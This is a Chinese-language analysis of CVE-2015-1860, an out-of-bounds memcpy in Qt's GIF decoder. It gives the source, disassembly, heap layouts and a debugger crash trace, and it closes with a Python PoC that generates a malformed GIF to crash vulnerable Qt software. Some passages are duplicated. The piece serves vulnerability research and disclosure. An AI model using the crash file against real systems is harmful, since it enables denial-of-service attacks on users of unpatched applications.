CVE-2015-1860分析:Qt模块处理gif图导致崩溃
CVE-2015-1860分析:Qt模块处理gif图导致崩溃。
漏洞背景
Qt是一个跨平台的图形化界面编程框架,其版本在小于4.8.7和5.x小于5.4.2解析图片的过程中对于越界检查的处理不当,会导致memcpy的过程中发生越界错误,这个漏洞已经被公开了,但是Qt作为基础库,许多基于Qt的软件并没有更新,同时Qt在跨平台的软件中广泛应用,因此也存在很大风险,同时网络上没有PoC,笔者经过分析写出来PoC。
漏洞成因
QGIFFormat::nextY()在处理时,对于越界没有检查,外面被置上了越界标志,内部依然照样运行,这就会出现问题。 代码问题,我们可以对照Qt的code Review来看看。
最终问题在/src/gui/image/gifhandler.cpp 的QGIFFormat::nextY()的memcpy,这里我们可以控制left,使得right-left 小于0,那么拷贝的时候就可以很大了,但是因为这样拷贝的数据过大,只能导致崩溃,不能利用。
void QGIFFormat::nextY(unsigned char *bits, int bpl)
{ int my; switch (interlace) {my = qMin(7, bottom-y); // Don't dup with transparency if (trans_index for (i=1; i memcpy(FAST_SCAN_LINE(bits, bpl, y+i)+left*sizeof(QRgb), FAST_SCAN_LINE(bits, bpl, y)+left*sizeof(QRgb), (right-left+1)*sizeof(QRgb)); } }
....
QGIFFormat::nextY()关键处的反汇编代码如下。
.text:68F015EE loc_68F015EE: ; CODE XREF: gif_nexty+1EEj
.text:68F015EE mov esi, [eax+60h] ; left
.text:68F015F1 lea ebx, ds:0[esi*4]
.text:68F015F8 lea ecx, [edi+edx]
.text:68F015FB imul ecx, [ebp+t_bpl]
.text:68F015FF add ecx, ebx
.text:68F01601 add ecx, [ebp+arg_4]
.text:68F01604 mov [ebp+var_10], ecx
.text:68F01607 mov ecx, [eax+68h] ; right
.text:68F0160A sub ecx, esi ; right-left
.text:68F0160C lea ecx, ds:4[ecx*4]
.text:68F01613 imul edi, [ebp+t_bpl]
.text:68F01617 lea esi, [edi+ebx]
.text:68F0161A add esi, [ebp+arg_4]
.text:68F0161D ; 72: while ( 1 )
.text:68F0161D mov edi, [ebp+var_10]
.text:68F01620 rep movsb ; memcpy
漏洞复现
这里是对gif文件进行的解析,所以我们必须得学习gif的文件格式知识。关于这方面的知识,有很多博客讲解的很详细了,大家可以参考http://blog.csdn.net/wzy198852/Article/details/17266507
这里就不再赘述,直接给大家一个和Qt的GIFFormat::decode函数里面的变量对应好的例子吧。
下面我们先来看源码QGIFFormat::decode()函数中的部分代码。从490行到560行,这里是涉及到调用QGIFFormat::nextY函数的核心代码,中间主要是一段涉及到LZW的解码算法,解码之后得到GlobalColormap中的index,并把这些像素点对应的颜色值复制到bits对应的数组里面去。
{C} if (needfirst) { firstcode=oldcode=code; if (!out_of_bounds && image->height() > y && ((frame == 0) || (firstcode != trans_index))) ((QRgb*)FAST_SCAN_LINE(bits, bpl, y))[x] = color(firstcode); x++; if (x>=swidth) out_of_bounds = true; needfirst=false; if (x>=left+width) { x=left; out_of_bounds = left>=swidth || y>=sheight; nextY(bits, bpl); } } else { incode=code; if (code>=max_code) { *sp++=firstcode; code=oldcode; } while (code>=clear_code+2) { if (code >= max_code) { state = Error; return -1; } *sp++=table[1][code]; if (code==table[0][code]) { state=Error; return -1; } if (sp-stack>=(1 state=Error; return -1; } code=table[0][code]; } if (code state = Error; return -1; } *sp++=firstcode=table[1][code]; code=max_code; if (code table[0][code]=oldcode; table[1][code]=firstcode; max_code++; if ((max_code>=max_code_size) && (max_code_size { max_code_size*=2; code_size++; } } oldcode=incode; const int h = image->height(); QRgb *line = 0; if (!out_of_bounds && h > y) line = (QRgb*)FAST_SCAN_LINE(bits, bpl, y); while (sp>stack) { const uchar index = *(--sp); if (!out_of_bounds && h > y && ((frame == 0) || (index != trans_index))) { line[x] = color(index); } x++; if (x>=swidth) out_of_bounds = true; if (x>=left+width) { x=left; out_of_bounds = left>=swidth || y>=sheight; nextY(bits, bpl); if (!out_of_bounds && h > y) line = (QRgb*)FAST_SCAN_LINE(bits, bpl, y); } } }
我们来看memcpy里面的各个参数是受到什么影响的
memcpy(FAST_SCAN_LINE(bits, bpl, y+i)+left*sizeof(QRgb), FAST_SCAN_LINE(bits, bpl, y)+left*sizeof(QRgb),
(right-left+1)*sizeof(QRgb));
#define FAST_SCAN_LINE(bits, bpl, y) (bits + (y) * bpl)//bits 和 bpl的来源
gifhandler.cpp - line 356
if (image->isNull()) { (*image) = QImage(swidth, sheight, format); bpl = image->bytesPerLine(); {C} bits = image->bits(); memset(bits, 0, image->byteCount()); }
//left 和 right还有y 的来源 gifhandler.cpp line 338,366int newleft=LM(hold[1], hold[2]);
int newtop=LM(hold[3], hold[4]);
left = newleft;
top = newtop;y = top;right=qMax(0, qMin(left+width, swidth)-1);
bottom=qMax(0, qMin(top+height, sheight)-1);
同时还有我们进入memcpy函数外面的对my的判断
my = qMin(7, bottom-y);
这里my也不能小于0,小于0也不会调用memcpy。同时我们为了搞清楚溢出的边界在哪里,我们必须知道分配的堆有多大,我们断在**bits = image ->bits()** 这里immunitydebugger跟入,断点断在0x68f01e9f
可以看见这里的eax=0x318ab90
借助mona插件我们得到堆内存的布局如下
0BADF00D _HEAP_ENTRY psize size unused UserPtr UserSize0BADF00D 0318a830 00070 00028 00018 0318a838 00000010 (16) (Fill pattern,Extra present,Busy)
0BADF00D 0318a858 00028 00118 00018 0318a860 00000100 (256) (Fill pattern,Extra present,Busy)
0BADF00D 0318a970 00118 00218 00018 0318a978 00000200 (512) (Fill pattern,Extra present,Busy)
0BADF00D 0318ab88 00218 002d8 00018 0318ab90 000002c0 (704) (Fill pattern,Extra present,Busy)
0BADF00D 0318ae60 002d8 02400 00000 0318ae68 00002400 (9216) (Fill pattern)
0BADF00D 0318d260 02400 00038 00018 0318d268 00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D 0318d298 00038 00098 00018 0318d2a0 00000080 (128) (Fill pattern,Extra present,Busy)
0BADF00D 0318d330 00098 00058 00018 0318d338 00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D 0318d388 00058 00038 00018 0318d390 00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D 0318d3c0 00038 00050 00018 0318d3c8 00000038 (56) (Fill pattern,Extra present,Busy)
0BADF00D 0318d410 00050 00060 00018 0318d418 00000048 (72) (Fill pattern,Extra present,Busy)
0BADF00D 0318d470 00060 00060 00018 0318d478 00000048 (72) (Fill pattern,Extra present,Busy)
0BADF00D 0318d4d0 00060 00060 0001c 0318d4d8 00000044 (68) (Fill pattern,Extra present,Busy)
0BADF00D 0318d530 00060 00010 00000 0318d538 00000010 (16) (Fill pattern)
0BADF00D 0318d540 00010 015b0 0001a 0318d548 00001596 (5526) (Fill pattern,Extra present,Busy)
0BADF00D 0318eaf0 015b0 00030 00018 0318eaf8 00000018 (24) (Fill pattern,Extra present,Busy)
0BADF00D 0318eb20 00030 00058 00018 0318eb28 00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D 0318eb78 00058 00038 0001a 0318eb80 0000001e (30) (Fill pattern,Extra present,Busy)
0BADF00D 0318ebb0 00038 00030 00018 0318ebb8 00000018 (24) (Fill pattern,Extra present,Busy)
0BADF00D 0318ebe0 00030 00058 00018 0318ebe8 00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D 0318ec38 00058 00050 00018 0318ec40 00000038 (56) (Fill pattern,Extra present,Busy)
0BADF00D 0318ec88 00050 00088 00018 0318ec90 00000070 (112) (Fill pattern,Extra present,Busy)
我们可以看到大小是0x2c0=(0x10(swidth)*0xb(sheight)*4(sizeof(Qrgb)))。
依据以上的分析,我们可以得出来,如果我们设置top大于sheight的时候,就有导致my小于0,不能执行memcpy,而其他情况下这里的代码可以保证复制的数据不溢出边界,但是如果我将right调整得比left小的话那么就发生了整形溢出,因为memcpy的时候最后一个参数是无符号整数,所以就会变成一个特别大的数字,从而导致复制数据到了不可写的地方导致程序崩溃。我们再来分析这个数字在哪个范围呢?因为的left,width,top的范围都是0~65535所以right最小是0,left最大是65535,(right-left+1)*sizeof(QRgb)(4)=0xFFFC0008,这个时候的memcpy的值是最小的,但是还是太大了,所以导致了崩溃。因而这个漏洞也就是只能够导致dos的,不能够利用。
{C} 0BADF00D 0318ed10 00088 00038 00018 0318ed18 00000020 (32) (Fill pattern,Extra present,Busy)0BADF00D 0318ed48 00038 10018 00019 0318ed50 0000ffff (65535) (Fill pattern,Extra present,Busy)
0BADF00D 0319ed60 10018 00018 00000 0319ed68 00000018 (24) (Fill pattern)
0BADF00D 0319ed78 00018 04018 00018 0319ed80 00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D 031a2d90 04018 04018 00018 031a2d98 00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D 031a6da8 04018 04018 00018 031a6db0 00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D 031aadc0 04018 08018 00018 031aadc8 00008000 (32768) (Fill pattern,Extra present,Busy)
0BADF00D 031b2dd8 08018 21208 00000 031b2de0 00021208 (135688) (Fill pattern)
0BADF00D 031d3fe0 21208 00020 00003 031d3fe8 0000001d (29) (Busy)
0BADF00D 0x031d3ff8 - 0x034f0000 (end of segment) : 0x31c008 (3260424) uncommitted bytes
0BADF00D
我们可以看到大小是0x2c0=(0x10(swidth)*0xb(sheight)*4(sizeof(Qrgb)))。
依据以上的分析,我们可以得出来,如果我们设置top大于sheight的时候,就有导致my小于0,不能执行memcpy,而其他情况下这里的代码可以保证复制的数据不溢出边界,但是如果我将right调整得比left小的话那么就发生了整形溢出,因为memcpy的时候最后一个参数是无符号整数,所以就会变成一个特别大的数字,从而导致复制数据到了不可写的地方导致程序崩溃。我们再来分析这个数字在哪个范围呢?因为的left,width,top的范围都是0~65535所以right最小是0,left最大是65535,(right-left+1)*sizeof(QRgb)(4)=0xFFFC0008,这个时候的memcpy的值是最小的,但是还是太大了,所以导致了崩溃。因而这个漏洞也就是只能够导致dos的,不能够利用。
//断在68f016dBreakpoint 0 hit
eax=03f2c628 ebx=00000080 ecx=ffffffc0 edx=00000001 esi=03141388 edi=00000000
eip=68f0161d esp=0022cde4 ebp=0022cdf8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
qgif4+0x161d:
68f0161d 8b7df0 mov edi,dword ptr [ebp-10h] ss:0023:0022cde8=031413c8
0:000> g
(8b4.ab4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03f2c628 ebx=00000080 ecx=fff7c388 edx=00000001 esi=031c4fc0 edi=031c5000
eip=68f01620 esp=0022cde4 ebp=0022cdf8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
qgif4+0x1620:
68f01620 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
PoC
最后附上PoC,其实这里的PoC就是生成了一个gif文件,任何使用上述有漏洞的Qt版本来处理gif的软件就会发生崩溃。
#!/use/bin/python #coding:utf-8 import sys def encode_lzw(stri,lzw_size): clear_code=1 end_code = clear_code+1 entry,head,tail=0,0,0 dit={} outp=[] ll=len(stri) head=stri[0] cur_code=end_code+1 for i in xrange(1,ll): tail=stri[i] kk=(head,tail) if dit.has_key(kk): #如果在表里面的话 head=dit[kk] continue else: outp.append(head) dit[kk]=cur_code print 'key:%s value:%s'%(kk,cur_code) {C} cur_code+=1 head=tail continue return outp import struct import math if __name__ == "__main__": header='GIF89a' my_wdith=0x1 my_height=0xb my_color_count=32 swdith=struct.pack('H',my_wdith) sheight=struct.pack('H',my_height) scode= struct.pack('B',0xc0+( int( math.log(my_color_count,2))-1 )) +'\x00'+'\x00' color_map='' for i in xrange(my_color_count): color_map+=struct.pack('bbb',i,i,i) introducer='\x21\xf9' graphicControlExtension='\x04'+'\x00'*4 skip='\x00\x2c' left=struct.pack('H',0xffff) top=struct.pack('H',0) width=struct.pack('H',0x10) height=struct.pack('H',0xB) flg=struct.pack('B',0x40) lzwsize=struct.pack('B',0x5) datablocksize=struct.pack('B',0x81) plain='' for i in xrange(26): plain += chr(ord('A')+i) *8 plain =plain+'A'*20+'BCDEFGHIJK'*2+'CCC'+'KJUI' print plain enc= encode_lzw(plain,5) datablock='' for i in enc: if type(i)==str: datablock+=struct.pack('B',ord(i)-ord('A')) else : datablock+=struct.pack('B',i) print datablock eof='\x21\x00\x3b' fp=open('1.gif','wb') bin_data=header+swdith+sheight+scode+color_map+introducer+graphicControlExtension bin_data+=skip+left+top+width+height+flg+lzwsize +datablocksize+datablock+eof fp.write(bin_data) fp.close()